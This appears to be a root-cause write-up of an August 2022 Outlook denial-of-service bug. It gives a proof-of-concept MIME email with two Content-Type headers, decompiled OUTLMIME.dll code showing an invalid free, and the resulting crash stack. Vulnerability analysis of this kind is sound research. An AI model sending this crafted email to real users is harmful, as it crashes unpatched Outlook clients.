Introduction
Outlook's Denial of Service vulnerability was patched on Patch Tuesday in August 2022.
An attacker could trigger a vulnerability by sending a crafted email.
The vulnerability synchronizes with the mail server and the vulnerability occurs during MIME property parsing.
RootCause
The PoC of the vulnerability is as follows.
The vulnerability occurs when OUTLMIME.dll handles MIME of Content-Type.
Content-Type: multipart/signed;boundary="A"
Subject: MEOW
--A
Content-Type:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Content-Type:application
--A--
C++
복사
Calculate the value length of the Content-Type using the following code.
data = (char *)*((_QWORD *)a4 + 1);
if ( data )
{
len = (unsigned int)a4[4];
if ( !data[len] )
{
v25 = len + 1;
value_len = -1;
if ( (int)len + 1 >= (unsigned int)len )
value_len = len + 1;
v7 = v25 < (unsigned int)len ? 0x80070216 : 0;
if ( v25 < (unsigned int)len )
goto LABEL_58;
a2->dword10 = len;
goto set_flag;
}
}
C++
복사
In the following code, process the value.
set_flag:
p_word8 = (void **)&a2->word8;
LABEL_41:
dword3C = a2->dword3C;
if ( value_len > dword3C )
{
Outlmime_CMimePropertyContainer_VariantValueLargerThanBuffer(*(_DWORD *)(v19 + 1152), value_len, dword3C);
dword100 = a2->dword100;
if ( value_len > 0xAA )
{
if ( (dword100 & 2) != 0 )
{
pvoid30 = a2->pvoid30;
}
else
{
a2->pvoid30 = 0i64;
pvoid30 = 0i64;
a2->dword3C = 0;
}
v29 = (void *)((__int64 (__fastcall *)(LPMALLOC, void *, _QWORD))ppMalloc->lpVtbl->Realloc)(
ppMalloc,
pvoid30,
value_len);
if ( !v29 )
{
v7 = 0x8007000E;
goto LABEL_58;
}
v30 = v40;
a2->dword100 |= 2u;
sub_18005F9D8(*(unsigned int *)(v30 + 1152), 1i64, value_len);
a2->pvoid30 = v29;
a2->dword3C = value_len;
}
else
{
if ( (dword100 & 2) != 0 )
{
((void (__fastcall *)(LPMALLOC, void *))ppMalloc->lpVtbl->Free)(ppMalloc, a2->pvoid30);
a2->dword100 &= ~2u;
}
Outlmime_CMimePropertyContainer_VariantValueFitsInScratchBuffer(*(_DWORD *)(v19 + 1152), value_len);
a2->dword3C = 0xAA;
a2->pvoid30 = a2->gap40;
}
}
memcpy(a2->pvoid30, data, value_len);
v31 = p_word8;
a2->dword38 = value_len;
C++
복사
If the length of Content-Type is greater than 0xaa, the memory is allocated. a2->pvoid30 is initialized to the address of the memory allocated. And a2->dword100 is OR calculated with 2.
If not, a2->pvoid30 is initialized to a2->gap40.
Then copy the value to a2->pvoid30.
When processing Content-Type for the first time, the value length is greater than 0xaa and 2 flags are set.
However, when processing the second Content-Type, the value length is less than 0xaa, so the flag is not set.
After that, the value of each Content-Type is combined, where 2 flags are set, and a2->pvoid30 is set to a2->gap40.
This causes a vulnerability when this memory is freed in the following code.
v12 = (v3->byte100 & 2) == 0;
v3->qword110 = 0i64;
if ( !v12 && v3->qword30 )
{
((void (__fastcall *)(LPMALLOC))ppMalloc->lpVtbl->Free)(ppMalloc);// Free
v3->qword30 = 0i64;
}
C++
복사
While processing the Content-Type above, 2 flags are set, and the variable v3->qword30 point to v3->gap40. This creates a vulnerability by freeing unallocated pointers.
The following is memory information when the vulnerability occurs.
Critical error detected c0000374
WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent
accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
(19a0.19a4): Break instruction exception - code 80000003 (first chance)
ntdll!RtlReportCriticalFailure+0x56:
00007ffe`0ae6f1d2 cc int 3
0:000> k
# Child-SP RetAddr Call Site
00 000000f1`463d9e50 00007ffe`0ae77f92 ntdll!RtlReportCriticalFailure+0x56
01 000000f1`463d9f40 00007ffe`0ae7827a ntdll!RtlpHeapHandleError+0x12
02 000000f1`463d9f70 00007ffe`0ae7df01 ntdll!RtlpHpHeapHandleError+0x7a
03 000000f1`463d9fa0 00007ffe`0ad95bf0 ntdll!RtlpLogHeapFailure+0x45
04 000000f1`463d9fd0 00007ffe`0ad947b1 ntdll!RtlpFreeHeapInternal+0x4e0
05 000000f1`463da090 00007ffd`cbcb1b5d ntdll!RtlFreeHeap+0x51
06 000000f1`463da0d0 00007ffd`cbcb18c8 OUTLMIME!CloseAllSockets+0x4d07d
07 000000f1`463da1e0 00007ffd`cbcaf79e OUTLMIME!CloseAllSockets+0x4cde8
08 000000f1`463da2a0 00007ffd`cbcaf954 OUTLMIME!CloseAllSockets+0x4acbe
09 000000f1`463da2d0 00007ffd`cbc9e3e2 OUTLMIME!CloseAllSockets+0x4ae74
0a 000000f1`463da300 00007ffd`cbc9e384 OUTLMIME!CloseAllSockets+0x39902
0b 000000f1`463da330 00007ffd`cbce80b0 OUTLMIME!CloseAllSockets+0x398a4
0c 000000f1`463da360 00007ffd`cbc92350 OUTLMIME!MimeOleInetDateToFileTime+0xf430
0d 000000f1`463da390 00007ffd`cbc917a2 OUTLMIME!CloseAllSockets+0x2d870
0e 000000f1`463da3c0 00007ffd`cbc90512 OUTLMIME!CloseAllSockets+0x2ccc2
0f 000000f1`463da4a0 00007ffd`cbc90484 OUTLMIME!CloseAllSockets+0x2ba32
10 000000f1`463da4d0 00007ffd`cbce80b0 OUTLMIME!CloseAllSockets+0x2b9a4
11 000000f1`463da500 00007ffd`cbcf4a13 OUTLMIME!MimeOleInetDateToFileTime+0xf430
12 000000f1`463da530 00007ffd`cbd03678 OUTLMIME!MimeOleInetDateToFileTime+0x1bd93
13 000000f1`463dae90 00007ffd`cbd03b49 OUTLMIME!MimeOleInetDateToFileTime+0x2a9f8
14 000000f1`463dafe0 00007ffd`cbd0375c OUTLMIME!MimeOleInetDateToFileTime+0x2aec9
15 000000f1`463db260 00007ff6`fa2264d7 OUTLMIME!MimeOleInetDateToFileTime+0x2aadc
16 000000f1`463db2a0 00007ff6`f9fccde5 outlook!HrGetAMapProgressObject+0x1ca2a7
17 000000f1`463db400 00007ff6`f9963006 outlook!HrSetOutlookSpecialFolderEntryID+0x181cb5
18 000000f1`463db4f0 00007ff6`f9961ce4 outlook!StdCoCreateInstance+0x43426
19 000000f1`463db530 00007ff6`f9963006 outlook!StdCoCreateInstance+0x42104
1a 000000f1`463db5e0 00007ff6`f9962cb8 outlook!StdCoCreateInstance+0x43426
1b 000000f1`463db620 00007ff6`f99f6312 outlook!StdCoCreateInstance+0x430d8
1c 000000f1`463df730 00007ff6`f99cc36e outlook!HrEnsureIMManager+0x7f02
1d 000000f1`463df760 00007ff6`f9b4ddc2 outlook!HrGetDelegatorInfoSync+0x557de
1e 000000f1`463df7b0 00007ffe`0a377034 outlook!OlkGetResourceHandle+0x6692
1f 000000f1`463df7f0 00007ffe`0adc2651 KERNEL32!BaseThreadInitThunk+0x14
20 000000f1`463df820 00000000`00000000 ntdll!RtlUserThreadStart+0x21
C++
복사